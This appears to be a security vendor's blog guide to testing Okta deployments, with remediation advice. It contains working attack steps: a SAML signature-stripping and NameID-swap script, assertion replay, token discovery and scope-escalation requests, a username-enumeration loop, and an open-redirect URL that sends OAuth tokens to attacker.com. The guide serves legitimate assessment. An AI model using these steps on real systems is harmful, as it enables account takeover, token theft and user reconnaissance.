Identity Security Testing

Okta Security Testing: SSO Bypass, API Token Exposure, and IdP Enumeration

📅 July 5, 2026 ⏱ 12 min read 🔒 Security Testing

Okta Attack Surface Overview

Okta functions as the central identity broker in enterprise environments — it federates identity for SaaS applications, internal tools, VPNs, and developer platforms. This centrality is exactly why it attracts attackers: compromise Okta and you often have a path into every application it protects.

The Okta attack surface breaks down into several distinct layers:

Layer	Components	Common Weaknesses
Federation	SAML assertions, OIDC tokens, WS-Fed	Signature bypass, assertion replay, audience mismatch
API	Okta API v1, OAuth 2.0 tokens	Overprivileged tokens, SSWS token exposure, scope creep
Admin Console	Okta admin UI, super admin roles	Excessive admin role assignment, MFA bypass for admins
Directory	Universal Directory, AD/LDAP sync	User enumeration, group membership disclosure
Applications	App integrations, sign-on policies	Policy bypass, implicit trust in SP-initiated flows

Real Okta security incidents — including the 2023 Okta support system breach that exposed customer data — demonstrate that attackers target the identity layer specifically because lateral movement from here is frictionless.

SAML Response Manipulation and SSO Bypass

SAML-based SSO involves Okta (as IdP) generating a signed XML assertion that the Service Provider (SP) trusts. The trust model depends entirely on the SP correctly validating the signature. Testing this trust is one of the highest-value checks in an Okta assessment.

Signature Stripping

Some service providers accept unsigned SAML assertions or fail to verify that a signature covers the entire assertion. The test is straightforward: intercept a valid SAML response, strip or modify the signature element, and replay it.

# Capture SAML response with Burp Suite, then test signature validation
# Many SP implementations only check if a signature exists, not if it's valid

# Original SAML assertion (base64-decoded):
# <samlp:Response>
#   <Signature>...valid sig...</Signature>
#   <saml:Assertion>
#     <saml:Subject><saml:NameID>victim@corp.com</saml:NameID>...

# Test 1: Remove the Signature element entirely
# Test 2: Keep the Signature element but alter the assertion (SubjectConfirmation, conditions)
# Test 3: Swap in a self-signed certificate if the SP accepts any valid signature

# Python: manipulate SAML XML
import base64, zlib
from lxml import etree

saml_b64 = "<base64 from Burp>"
xml = base64.b64decode(saml_b64)
root = etree.fromstring(xml)

# Remove signature
ns = {'ds': 'http://www.w3.org/2000/09/xmldsig#'}
for sig in root.findall('.//ds:Signature', ns):
    sig.getparent().remove(sig)

# Change NameID to target user
ns2 = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}
for nameid in root.findall('.//saml:NameID', ns2):
    nameid.text = 'admin@corp.com'

modified = base64.b64encode(etree.tostring(root)).decode()
print(modified)

XML Signature Wrapping (XSW)

XSW attacks exploit the discrepancy between which element a validator checks and which element the application processes. The signature is valid — it covers a legitimate assertion — but the application reads a different, attacker-controlled assertion in the same document.

# XSW attack structure: valid signature covers element A,
# but the application processes element B (inserted by attacker)

# Tools for XSW testing:
# - SAMLraider (Burp Suite extension)
# - evilginx2 for SAML proxy attacks
# - SAML Raider supports all 8 known XSW variants

# Check if SP is vulnerable:
# 1. Login normally, capture SAML Response in Burp
# 2. Send to SAMLraider, apply XSW attack #1 through #8
# 3. Forward modified response — if login succeeds with different user, vulnerable

Assertion Replay

SAML assertions include a validity window (typically 5 minutes). If the SP doesn't maintain a replay cache, a captured assertion can be reused after the session ends.

# Test assertion replay:
# 1. Log in, capture the SAMLResponse POST
# 2. Log out
# 3. Replay the same SAMLResponse to the SP's Assertion Consumer Service

curl -X POST https://sp.corp.com/saml/acs \
  -d "SAMLResponse=<base64-encoded-assertion>&RelayState=/" \
  -c cookies.txt \
  -L

# If you get a session after logout, the SP doesn't validate NotOnOrAfter/replay cache

API Token Exposure and Scope Abuse

Okta provides two token types for API access: SSWS tokens (long-lived static API tokens) and OAuth 2.0 access tokens. Both are commonly found exposed in source code, CI/CD configurations, and application logs.

SSWS Token Discovery

SSWS (Okta Session Web Service) tokens are 40+ character strings prefixed with 00. They're often committed to source repositories or embedded in deployment configurations.

# Search for exposed SSWS tokens in source code
grep -r "SSWS " . --include="*.env" --include="*.yaml" --include="*.yml" --include="*.json"
grep -rE "00[a-zA-Z0-9_-]{40}" .

# Common locations in CI/CD systems:
# - .env files accidentally committed
# - GitHub Actions secrets accidentally logged
# - Docker build args in image history
# - Kubernetes secrets in base64 (not encrypted)

# Verify a token's validity and permissions:
curl -H "Authorization: SSWS 00your_token_here" \
  https://your-org.okta.com/api/v1/users/me

# Enumerate what the token can access:
curl -H "Authorization: SSWS 00your_token_here" \
  https://your-org.okta.com/api/v1/users?limit=200

curl -H "Authorization: SSWS 00your_token_here" \
  https://your-org.okta.com/api/v1/apps

OAuth Scope Abuse

Okta OAuth clients are often configured with broader scopes than necessary. Testing whether an application can request scopes beyond its stated purpose reveals overprivilege.

# Check registered OAuth application scopes
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/apps/<app_id> | jq '.settings.oauthClient.scopes'

# Attempt scope escalation — request additional scopes during auth:
# Normal authorization URL:
https://your-org.okta.com/oauth2/v1/authorize?
  client_id=0oa...&
  scope=openid+profile&
  response_type=code&
  redirect_uri=https://app.example.com/callback

# Escalation attempt — add okta.users.read or admin scopes:
https://your-org.okta.com/oauth2/v1/authorize?
  client_id=0oa...&
  scope=openid+profile+okta.users.read.self+okta.users.manage&
  response_type=code&
  redirect_uri=https://app.example.com/callback

# If authorization server doesn't restrict to registered scopes, token will include extras

Service Account Token Persistence

Applications often use Okta service accounts with static API tokens. If these accounts have super-admin roles assigned (common in misconfigured tenants), an attacker with the token has full tenant control.

# List all API tokens and their associated accounts (requires admin)
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/api-tokens | jq '.[] | {name, userId, lastUpdated}'

# Check if service account users have admin roles
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/users/<service_user_id>/roles | jq '.[].type'

# HIGH RISK: "SUPER_ADMIN" role on a service account with an API token is full compromise

IdP Enumeration and User Discovery

Okta's authentication endpoints leak information about whether users exist in the tenant. This allows attackers to build accurate user lists before credential stuffing or phishing campaigns.

Username Enumeration via Authentication Flow

# Okta's /api/v1/authn endpoint responds differently for valid vs invalid usernames
# Valid user (password wrong):
curl -X POST https://your-org.okta.com/api/v1/authn \
  -H "Content-Type: application/json" \
  -d '{"username": "existing.user@corp.com", "password": "wrongpassword"}'
# Returns: {"errorCode":"E0000079","errorSummary":"This operation is not allowed..."}
# or the FACTOR_CHALLENGE state

# Invalid user:
curl -X POST https://your-org.okta.com/api/v1/authn \
  -H "Content-Type: application/json" \
  -d '{"username": "notauser@corp.com", "password": "wrongpassword"}'
# Returns: {"errorCode":"E0000095","errorSummary":"The credentials provided were incorrect."}

# Different error codes = user enumeration

# Automate username enumeration:
while IFS= read -r user; do
  response=$(curl -s -X POST https://your-org.okta.com/api/v1/authn \
    -H "Content-Type: application/json" \
    -d "{\"username\": \"$user\", \"password\": \"invalidpass123\"}")
  code=$(echo "$response" | jq -r '.errorCode')
  echo "$user: $code"
done < users.txt

Well-Known Endpoint Disclosure

# Okta's OpenID Connect discovery endpoint reveals tenant configuration
curl https://your-org.okta.com/.well-known/openid-configuration | jq '.'

# Key fields to check:
# - issuer: confirms tenant URL
# - authorization_endpoint
# - token_endpoint
# - userinfo_endpoint
# - jwks_uri (useful for JWT verification bypass testing)

# The /api/v1/users endpoint may be accessible with limited auth in some configurations
curl https://your-org.okta.com/api/v1/users?search=email+sw+"admin" \
  -H "Authorization: Bearer <low_priv_token>"

IdP Discovery via Login Page

# Okta's login page reveals configured IdPs (social, enterprise SAML)
# GET the login page and look for IdP buttons or metadata
curl https://your-org.okta.com/login/login.htm | grep -i "idp\|saml\|social"

# The /api/v1/idps endpoint lists configured identity providers (may be accessible)
curl https://your-org.okta.com/api/v1/idps | jq '.[].name'

OAuth Implicit Flow and Token Theft

The OAuth implicit flow (response_type=token) delivers access tokens directly in the URL fragment. Applications using this flow are vulnerable to token theft via referrer headers, browser history, and open redirects.

Open Redirect to Token Theft

# Okta validates redirect_uri against registered values, but many apps register wildcards
# or overly broad patterns that allow redirect hijacking

# Check registered redirect URIs for the application:
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/apps/<app_id> | \
  jq '.settings.oauthClient.redirect_uris'

# Common weak patterns:
# - https://app.example.com/* (wildcard allows any path)
# - https://*.example.com (subdomain wildcard)

# If an open redirect exists at app.example.com/redirect?url=:
https://your-org.okta.com/oauth2/v1/authorize?
  client_id=0oa...&
  response_type=token&
  scope=openid&
  redirect_uri=https://app.example.com/redirect?url=https://attacker.com&
  state=fake

# Token arrives in fragment at the redirect target before the redirect fires

State Parameter CSRF

# OAuth flows require a random, unguessable state parameter
# Test whether the application validates state matches what it sent

# Normal flow captures state from /authorize redirect
# Attack: initiate authorize with attacker-controlled state,
# then inject the callback URL into victim's browser

# If state is not validated, attacker can link their own Okta session
# to the victim's application session (account takeover)

Admin Console Access Control Gaps

Okta's admin console exposes powerful capabilities: user creation, app assignment, policy modification, and API token management. Misconfigurations in who holds admin roles are a persistent finding in enterprise Okta deployments.

Admin Role Audit

# List all users with admin roles
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/users?filter=status+eq+"ACTIVE"&limit=200 | \
  jq '.[].id' | \
  xargs -I{} curl -s -H "Authorization: SSWS <admin_token>" \
    https://your-org.okta.com/api/v1/users/{}/roles | \
  jq 'select(length > 0) | .[].type'

# Check for super admin assignments specifically
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/users?filter=status+eq+"ACTIVE" | \
  jq -r '.[].id' | while read uid; do
    roles=$(curl -s -H "Authorization: SSWS $OKTA_TOKEN" \
      "https://your-org.okta.com/api/v1/users/$uid/roles")
    if echo "$roles" | grep -q "SUPER_ADMIN"; then
      echo "SUPER_ADMIN: $uid"
    fi
  done

MFA Enrollment Bypass for Admin Accounts

# Check sign-on policy for admin applications
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/policies?type=OKTA_SIGN_ON | \
  jq '.[] | {name: .name, id: .id}'

# For each policy, check if MFA is required
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/policies/<policy_id>/rules | \
  jq '.[] | {name: .name, conditions: .conditions, actions: .actions.signon}'

# Risk indicators:
# - Admin console application assigned to a sign-on policy without MFA enforcement
# - Sign-on policy with "ALLOW" action and no MFA requirement
# - Network zones that bypass MFA for "trusted" IP ranges that are too broad

Delegated Admin Scope Creep

# Delegated admins should have limited scope (specific app groups, org units)
# Test whether delegated admins can access resources outside their scope

# List delegated admin assignments
curl -H "Authorization: SSWS <admin_token>" \
  https://your-org.okta.com/api/v1/roles?type=HELP_DESK_ADMIN | jq '.'

# As a delegated admin, attempt to access users outside the assigned group:
curl -H "Authorization: SSWS <delegated_admin_token>" \
  https://your-org.okta.com/api/v1/users?search=profile.department+eq+"Finance"

# If response returns users from unassigned departments, scope restriction is broken

Automated Detection with Ironimo

Manual Okta assessments are time-intensive because the attack surface spans federation protocols, API security, and admin console configuration simultaneously. Ironimo automates the discovery phase — finding which applications use Okta SSO, which OAuth flows are in use, and which API tokens appear in application responses — so testers can focus on confirming and exploiting the findings that matter.

Remediation Priorities

Finding	Severity	Fix
SAML signature not validated by SP	Critical	Update SP SAML library; enforce signature validation on all assertions
SSWS token in source code / CI logs	Critical	Rotate token immediately; use OAuth 2.0 service apps instead of SSWS
Super admin role on service account	Critical	Apply least-privilege roles; use Read Only Admin for service accounts
Admin console without MFA enforcement	High	Enforce phishing-resistant MFA (Okta FastPass or FIDO2) for all admins
Username enumeration via /api/v1/authn	Medium	Enable Okta ThreatInsight; implement rate limiting; use passwordless flows
OAuth implicit flow in use	Medium	Migrate to authorization code flow with PKCE
Wildcard redirect URIs	Medium	Register exact redirect URIs; never use wildcards in production apps
Assertion replay (no replay cache)	Medium	Update SP to cache and reject replayed assertion IDs

Okta security requires attention at every layer simultaneously. A hardened SAML configuration doesn't protect you if a service account with a super-admin SSWS token is committed to a public repository. Treat the identity layer as the highest-value attack surface in your environment — because attackers do.